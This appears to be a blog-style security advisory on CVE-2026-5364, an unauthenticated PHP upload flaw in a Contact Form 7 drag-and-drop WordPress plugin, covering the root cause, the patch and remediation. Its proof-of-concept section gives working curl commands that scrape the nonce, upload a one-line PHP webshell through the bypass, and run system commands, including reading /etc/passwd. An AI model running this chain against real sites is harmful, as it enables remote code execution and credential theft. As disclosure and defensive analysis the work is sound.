CVE-2026-5364: Unauthenticated Arbitrary PHP Upload in CF7 Drag and Drop Plugin

CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7 WordPress plugin. The flaw lets any unauthenticated visitor bypass the plugin’s file type check. By naming a file shell.php$, WordPress strips the $ at save time — turning it into an executable PHP file. The attacker receives the full file URL in the server’s response and can use it to run code on the server.

Vulnerability Summary

FieldValue
Plugin NameDrag and Drop File Upload for Contact Form 7
Plugin Slugdrag-and-drop-file-upload-for-contact-form-7
CVE IDCVE-2026-5364
CVSS Score8.1 (High)
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary File Upload via sanitize_file_name Bypass
Affected Versions<= 1.1.3
Patched Version1.1.4
PublishedApril 23, 2026
ResearcherThomas Sanzey
Wordfence AdvisoryLink

Description

The Drag and Drop File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.1.3. The plugin reads the file extension from the uploaded filename before cleaning it. It also lets the attacker set the type parameter — the list of allowed extensions — instead of using admin-configured values. This means the plugin validates the raw extension (php$) but saves the file with the cleaned extension (php). WordPress strips the $ at save time, so the file lands on disk as a PHP file. This makes it possible for unauthenticated attackers to upload arbitrary PHP files and potentially achieve remote code execution. However, an .htaccess file and random filenames limit the real-world impact.

Technical Analysis

Vulnerable Code Path

The vulnerability spans two files: frontend/index.php and backend/index.php.

Step 1: Nonce Exposed to All Frontend Visitors

File: frontend/index.php, line 15

wp_localize_script('cf7_file_uploads', 'cf7_file_uploads', array(
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('cf7_file_upload')  // ← publicly visible
));

The nonce for the upload AJAX action is embedded in the page source of every page containing a CF7 form with a file upload field. Any visitor — authenticated or not — receives a valid cf7_file_upload nonce in the rendered HTML.

Step 2: Upload AJAX Handler — Three Chained Flaws

File: backend/index.php, lines 154–193 (cf7_file_uploads())

function cf7_file_uploads() {
    // Nonce verified — but nonce is public (see Step 1)
    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'cf7_file_upload' ) ) {

        $file        = $_FILES["file"];
        $size        = sanitize_text_field( $_REQUEST["size"] );
        $type        = sanitize_text_field( $_REQUEST["type"] );       // ← FLAW 1: attacker-controlled
        $type_upload = sanitize_text_field( $_REQUEST["type_upload"] );

        $uploads_dir = $this->get_ensure_upload_dir($type_upload);

        // FLAW 2: extension extracted from ORIGINAL (unsanitized) filename
        $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
        $filename       = uniqid() . '.' . $file_extension;

        // FLAW 3: wp_unique_filename calls sanitize_file_name() internally,
        //         stripping '$' — so 'abc123.php$' becomes 'abc123.php'
        $filename = wp_unique_filename( $uploads_dir, $filename );
        $new_file = trailingslashit( $uploads_dir ) . $filename;

        // Validates using the UNSANITIZED extension ('php$') and the
        // attacker-controlled $type allowlist — passes for 'php$'
        if ( ! $this->is_file_type_valid( $type, $file ) ) {
            wp_send_json( array("status"=>"not","text"=>"...") );
            die();
        }

        // File moves to disk as '<uniqid>.php' — a PHP file
        @ move_uploaded_file( $file['tmp_name'], $new_file );
    }
}

Step 3: is_file_type_valid() — Extension Check on Unsanitized Name

File: backend/index.php, lines 142–153

private function is_file_type_valid( $file_types, $file ) {
    if ( $file_types == "" ) {
        $file_types = 'jpg|jpeg|png|gif|...';
    }
    // Uses pathinfo() on the ORIGINAL filename — 'shell.php$' → 'php$'
    $file_extension  = pathinfo( $file['name'], PATHINFO_EXTENSION );
    $file_types_meta = explode( '|', $file_types );
    $file_types_meta = array_map( 'trim', $file_types_meta );
    $file_types_meta = array_map( 'strtolower', $file_types_meta );
    $file_extension  = strtolower( $file_extension );

    // 'php$' is NOT in the blacklist (which only has 'php', 'php3', ... without '$')
    // 'php$' IS in the attacker-supplied allowlist ['php$']
    return ( in_array( $file_extension, $file_types_meta )
             && ! in_array( $file_extension, $this->get_blacklist_file_ext() ) );
}

The blacklist (lines 33–74) contains php, php3, php4, php5, etc. — all without trailing special characters. php$ matches none of them.

Root Cause

Three independent weaknesses combine to create the exploit:

  1. Attacker-controlled allowlist: The type POST parameter — which is the pipe-separated list of permitted file extensions — is read directly from user input. An attacker can supply php$ as a permitted type.

  2. Extension extracted before sanitization: pathinfo($file['name'], PATHINFO_EXTENSION) is called on the raw, uploaded filename (e.g., shell.php$), yielding php$. This raw extension is what the blacklist comparison runs against.

  3. Sanitization applied only at save time: wp_unique_filename() internally calls sanitize_file_name(), which strips special characters like $. So the file that passes validation as <uniqid>.php$ is written to disk as <uniqid>.php.

Validation and file-save use different representations of the same filename. The validation uses the unsanitized extension and the save uses the sanitized one.

Why Controls Failed

Blacklist: The blacklist compares against the raw extension php$, not php. Since php$ is absent from the blacklist, the check passes.

Nonce: wp_localize_script publishes the nonce (cf7_file_upload) to every visitor. It provides CSRF protection, not authentication. Any anonymous visitor can read a valid nonce from the page source.

Name randomization: uniqid() generates a timestamp-based prefix. The attacker learns the full URL from the AJAX success response, so name randomization does not prevent exploitation.

.htaccess: The upload directory contains an .htaccess that sets Content-Disposition: attachment on all files. On Apache this prevents direct PHP execution in many configurations, but this protection is absent on Nginx, LiteSpeed, and other servers.

Attack Impact

An unauthenticated attacker can upload a PHP webshell to the WordPress uploads directory and receive the full public URL from the AJAX response. On Apache, the .htaccess may block direct PHP execution. On Nginx, LiteSpeed, and most managed hosting environments it does not. There, the attacker can run any command on the server with the web user’s privileges — achieving full Remote Code Execution (RCE).

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Extract the nonce from any page with a CF7 file upload form

Visit any frontend page that loads the CF7 file upload field. The nonce is embedded in the <script> block that initializes the cf7_file_uploads JavaScript object.

TARGET_URL="https://example.com/contact/"

NONCE=$(curl -s "$TARGET_URL" \
  | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]+')

echo "Nonce: $NONCE"

Step 2: Create a PHP webshell payload

echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php$

The filename must end with $ (or another character stripped by sanitize_file_name) so that:

Step 3: Upload the webshell via the AJAX endpoint

AJAXURL="https://example.com/wp-admin/admin-ajax.php"

RESPONSE=$(curl -s -X POST "$AJAXURL" \
  -F "action=cf7_file_uploads" \
  -F "nonce=$NONCE" \
  -F "type=php\$" \
  -F "size=10" \
  -F "type_upload=0" \
  -F "file=@/tmp/shell.php\$;filename=shell.php\$;type=application/x-php")

echo "Server response: $RESPONSE"

The type=php$ parameter causes is_file_type_valid() to accept the file:

Step 4: Extract the uploaded file URL

SHELL_URL=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('text',''))")
echo "Shell URL: $SHELL_URL"

The response is: {"status":"ok","text":"https://example.com/wp-content/uploads/cf7-uploads-custom/<uniqid>.php"}

Step 5: Execute commands via the webshell

curl "$SHELL_URL?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "$SHELL_URL?cmd=cat+/etc/passwd"
curl "$SHELL_URL?cmd=ls+-la+/var/www/html/wp-config.php"

Expected Result

WordPress writes a PHP file to wp-content/uploads/cf7-uploads-custom/<uniqid>.php. On servers where the upload directory .htaccess is not respected, the attacker achieves unauthenticated Remote Code Execution.

Verification

  1. Check if the file exists: curl -I "$SHELL_URL" — expect HTTP 200
  2. Execute a command: curl "$SHELL_URL?cmd=id" — expect user/group output
  3. Confirm in the WordPress uploads directory on the server: ls wp-content/uploads/cf7-uploads-custom/*.php

Patch Analysis

What Changed

The critical changes are in backend/index.php:

  1. Upload delegated to wp_handle_upload() (replaces manual move_uploaded_file())
  2. type_upload sanitized with absint() (was sanitize_text_field() allowing type juggling)
  3. wp_send_json_error() used consistently (was wp_send_json() with manual die())

What the Fix Does

The core fix replaces the custom-built filename code and move_uploaded_file() with WordPress’s built-in wp_handle_upload():

// Patched version (backend/index.php ~line 183-201)
if (!function_exists('wp_handle_upload')) {
    require_once(ABSPATH . 'wp-admin/includes/file.php');
}
$uploads_dir = $this->get_ensure_upload_dir($type_upload);
$upload_dir_filter = function ($uploads) use ($uploads_dir) {
    $uploads['path']    = $uploads_dir;
    $uploads['basedir'] = $uploads_dir;
    return $uploads;
};
add_filter('upload_dir', $upload_dir_filter);
$movefile = wp_handle_upload($file, array('test_form' => false));
remove_filter('upload_dir', $upload_dir_filter);

wp_handle_upload() internally calls wp_check_filetype_and_ext(), which:

  1. Sanitizes the filename first, then validates the sanitized extension — eliminating the mismatch between validation and save
  2. Checks the real MIME type of the file using finfo or mime_content_type() — a file containing PHP code is detected as such regardless of its extension
  3. Rejects PHP-related types that WordPress does not allow by default, without relying on a developer-maintained blacklist

The bypass worked because the old code validated the raw extension (php$) but saved the cleaned one (php). wp_handle_upload() closes this gap by handling both steps on the same final filename.

Residual risk: In the patched version, is_file_type_valid() still reads $type_limit from POST and still uses pathinfo() on the raw filename. The custom check alone can still be bypassed. However, wp_handle_upload() acts as a strong second-layer defence that blocks PHP uploads on its own.

Code Diff (Key Changes)

-function cf7_file_uploads(){
-    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) {
-        $file = $_FILES["file"];
-        $size = sanitize_text_field( $_REQUEST["size"] );
-        $type = sanitize_text_field( $_REQUEST["type"] );          // ← attacker-controlled allowlist
-        $type_upload = sanitize_text_field( $_REQUEST["type_upload"] );
-        $uploads_dir = $this->get_ensure_upload_dir($type_upload);
-        $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );  // ← unsanitized
-        $filename = uniqid() . '.' . $file_extension;
-        $filename = wp_unique_filename( $uploads_dir, $filename );  // ← sanitizes here (strips '$')
-        $new_file = trailingslashit( $uploads_dir ) . $filename;
-        if(!$this->is_file_type_valid($type,$file)){  // ← validates 'php$', saves 'php'
-            ...die();
-        }
-        @ move_uploaded_file( $file['tmp_name'], $new_file );  // ← saves .php file

+public function cf7_file_uploads() {
+    check_ajax_referer('cf7_file_upload', 'nonce');
+    $file        = $_FILES['file'];
+    $size_limit  = isset($_POST['size']) ? sanitize_text_field(wp_unslash($_POST['size'])) : '';
+    $type_limit  = isset($_POST['type']) ? sanitize_text_field(wp_unslash($_POST['type'])) : '';
+    $type_upload = isset($_POST['type_upload']) ? absint($_POST['type_upload']) : 0;
+    if (!$this->is_file_type_valid($type_limit, $file)) { ... }
+    if (!$this->is_file_size_valid($size_limit, $file)) { ... }
+    $uploads_dir = $this->get_ensure_upload_dir($type_upload);
+    add_filter('upload_dir', $upload_dir_filter);
+    $movefile = wp_handle_upload($file, array('test_form' => false));  // ← validates & saves safely
+    remove_filter('upload_dir', $upload_dir_filter);

Timeline

DateEvent
UnknownVulnerability discovered and reported by Thomas Sanzey
April 23, 2026Publicly disclosed by Wordfence
April 23, 2026Patched version 1.1.4 released

Remediation

Update the drag-and-drop-file-upload-for-contact-form-7 plugin to version 1.1.4 or later.

References

  1. backend/index.php L181 (trunk)
  2. backend/index.php L181 (tag 1.1.2)
  3. backend/index.php L158 (trunk)
  4. backend/index.php L158 (tag 1.1.2)
  5. backend/index.php L147 (trunk)
  6. backend/index.php L147 (tag 1.1.2)
  7. frontend/index.php L15 (trunk)
  8. frontend/index.php L15 (tag 1.1.2)
  9. SVN changeset (patch)

Frequently Asked Questions

What is CVE-2026-5364?

CVE-2026-5364 is a CVSS 8.1 High severity unauthenticated arbitrary file upload vulnerability in the Drag and Drop File Upload for Contact Form 7 WordPress plugin that allows any visitor to upload a PHP webshell and potentially execute code on the server.

Which versions of Drag and Drop File Upload for Contact Form 7 are affected by CVE-2026-5364?

All versions up to and including 1.1.3 are vulnerable. Version 1.1.4 contains the fix and is safe to use.

What can an attacker do with CVE-2026-5364?

An attacker can upload a PHP webshell to the WordPress uploads directory and receive the full public URL from the server's response. On servers that do not block PHP execution in the uploads directory, such as Nginx or LiteSpeed, the attacker can run arbitrary commands with the web server's privileges, achieving full Remote Code Execution.

Does an attacker need to be logged in to exploit CVE-2026-5364?

No login is required. The upload nonce is embedded in the page source of any page containing a CF7 file upload form, so any unauthenticated visitor can read a valid nonce and send the malicious upload request.

How do I fix CVE-2026-5364 in Drag and Drop File Upload for Contact Form 7?

Update the plugin to version 1.1.4 or later through your WordPress admin dashboard under Plugins, then Updates. No other configuration change is needed.

Has Drag and Drop File Upload for Contact Form 7 been patched for CVE-2026-5364?

Yes. Version 1.1.4 was released on April 23, 2026 and resolves this vulnerability by replacing the custom file-save logic with WordPress's built-in wp_handle_upload function, which validates and sanitizes the filename before saving.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee